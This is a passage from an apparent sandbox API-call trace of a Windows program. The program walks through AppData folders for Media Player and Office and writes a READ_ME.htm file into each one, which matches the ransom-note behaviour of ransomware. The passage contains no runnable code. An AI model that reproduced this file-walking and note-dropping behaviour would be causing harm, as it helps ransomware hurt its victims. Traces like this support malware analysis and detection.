lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 1 [0144.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79b5b110, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b5b110, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x437, dwReserved0=0x0, dwReserved1=0x0, cFileName="12_All_Video.wpl", cAlternateFileName="12_ALL~1.WPL")) returned 0 [0144.333] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.334] SetErrorMode (uMode=0x0) returned 0x1 [0144.335] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\READ_ME.htm", lpFilePart=0x0) returned 0x61 [0144.335] SetErrorMode (uMode=0x1) returned 0x0 [0144.335] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.336] GetFileType (hFile=0x1d0) returned 0x1 [0144.336] SetErrorMode (uMode=0x0) returned 0x1 [0144.337] GetFileType (hFile=0x1d0) returned 0x1 [0144.337] WriteFile (in: hFile=0x1d0, lpBuffer=0x2858c98*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d098, lpOverlapped=0x0 | out: lpBuffer=0x2858c98*, lpNumberOfBytesWritten=0x21d098*=0x720, lpOverlapped=0x0) returned 1 [0144.338] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\READ_ME.htm", lpFilePart=0x0) returned 0x58 [0144.339] SetErrorMode (uMode=0x1) returned 0x0 [0144.339] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.339] GetFileType (hFile=0x1d0) returned 0x1 [0144.339] SetErrorMode (uMode=0x0) returned 0x1 [0144.339] GetFileType (hFile=0x1d0) returned 0x1 [0144.340] WriteFile (in: hFile=0x1d0, lpBuffer=0x285d2c8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x285d2c8*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0144.341] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\READ_ME.htm", lpFilePart=0x0) returned 0x52 [0144.341] SetErrorMode (uMode=0x1) returned 0x0 [0144.341] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\sync playlists\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.342] GetFileType (hFile=0x1d0) returned 0x1 [0144.342] SetErrorMode (uMode=0x0) returned 0x1 [0144.342] GetFileType (hFile=0x1d0) returned 0x1 [0144.342] WriteFile (in: hFile=0x1d0, lpBuffer=0x28618d8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28618d8*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0144.343] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", lpFilePart=0x0) returned 0x4e [0144.343] SetErrorMode (uMode=0x1) returned 0x0 [0144.344] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\transcoded files cache\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcba84960, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.346] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcba84960, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.346] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcba84960, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0144.346] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.347] SetErrorMode (uMode=0x0) returned 0x1 [0144.347] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache", lpFilePart=0x0) returned 0x4e [0144.347] SetErrorMode (uMode=0x1) returned 0x0 [0144.347] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\transcoded files cache\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcba84960, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.347] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcba84960, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.348] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcba84960, ftCreationTime.dwHighDateTime=0x1d706b2, ftLastAccessTime.dwLowDateTime=0xcba84960, ftLastAccessTime.dwHighDateTime=0x1d706b2, ftLastWriteTime.dwLowDateTime=0xcba84960, ftLastWriteTime.dwHighDateTime=0x1d706b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0144.348] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.348] SetErrorMode (uMode=0x0) returned 0x1 [0144.348] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\READ_ME.htm", lpFilePart=0x0) returned 0x5a [0144.348] SetErrorMode (uMode=0x1) returned 0x0 [0144.348] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\Transcoded Files Cache\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\transcoded files cache\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.350] GetFileType (hFile=0x1d0) returned 0x1 [0144.350] SetErrorMode (uMode=0x0) returned 0x1 [0144.350] GetFileType (hFile=0x1d0) returned 0x1 [0144.350] WriteFile (in: hFile=0x1d0, lpBuffer=0x28678f0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28678f0*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0144.352] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\READ_ME.htm", lpFilePart=0x0) returned 0x43 [0144.352] SetErrorMode (uMode=0x1) returned 0x0 [0144.352] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Media Player\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\media player\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.352] GetFileType (hFile=0x1d0) returned 0x1 [0144.352] SetErrorMode (uMode=0x0) returned 0x1 [0144.352] GetFileType (hFile=0x1d0) returned 0x1 [0144.353] WriteFile (in: hFile=0x1d0, lpBuffer=0x286bec0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x286bec0*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0144.354] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office", lpFilePart=0x0) returned 0x31 [0144.354] SetErrorMode (uMode=0x1) returned 0x0 [0144.354] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x5bb5ba10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x5bb5ba10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x5bb5ba10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x5bb5ba10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2dbcc430, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2dbcc430, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0", cAlternateFileName="")) returned 1 [0144.355] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5bb5ba10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTele", cAlternateFileName="")) returned 1 [0144.356] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5bb5ba10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTele", cAlternateFileName="")) returned 0 [0144.356] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.356] SetErrorMode (uMode=0x0) returned 0x1 [0144.356] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office", lpFilePart=0x0) returned 0x31 [0144.356] SetErrorMode (uMode=0x1) returned 0x0 [0144.356] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x5bb5ba10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x5bb5ba10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.356] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x5bb5ba10, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x5bb5ba10, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.357] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2dbcc430, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2dbcc430, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0", cAlternateFileName="")) returned 1 [0144.357] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5bb5ba10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTele", cAlternateFileName="")) returned 1 [0144.357] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5bb5ba10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OTele", cAlternateFileName="")) returned 0 [0144.357] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.357] SetErrorMode (uMode=0x0) returned 0x1 [0144.357] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0", lpFilePart=0x0) returned 0x36 [0144.358] SetErrorMode (uMode=0x1) returned 0x0 [0144.358] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2dbcc430, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2dbcc430, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.358] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2dbcc430, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2dbcc430, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.358] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x14f5a70, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x14f5a70, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x14f5a70, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x139c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="excel.exe_Rules.xml", cAlternateFileName="EXCELE~1.XML")) returned 1 [0144.358] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x35a6de30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x35a6de30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x35a6de30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x4050, dwReserved0=0x0, dwReserved1=0x0, cFileName="officec2rclient.exe_Rules.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0144.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2dbcc430, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2dbcc430, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2dbcc430, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x14a97, dwReserved0=0x0, dwReserved1=0x0, cFileName="outlook.exe_Rules.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0144.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x250fe150, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x250fe150, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x250fe150, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x12c44, dwReserved0=0x0, dwReserved1=0x0, cFileName="powerpnt.exe_Rules.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0144.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebServiceCache", cAlternateFileName="WEBSER~1")) returned 1 [0144.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2994bd90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2994bd90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0xd939d880, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x199f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="winword.exe_Rules.xml", cAlternateFileName="WINWOR~1.XML")) returned 1 [0144.359] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2994bd90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2994bd90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0xd939d880, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x199f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="winword.exe_Rules.xml", cAlternateFileName="WINWOR~1.XML")) returned 0 [0144.359] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.359] SetErrorMode (uMode=0x0) returned 0x1 [0144.359] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0", lpFilePart=0x0) returned 0x36 [0144.360] SetErrorMode (uMode=0x1) returned 0x0 [0144.360] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2dbcc430, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2dbcc430, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.360] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x14ff8dd0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2dbcc430, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x2dbcc430, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.360] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: 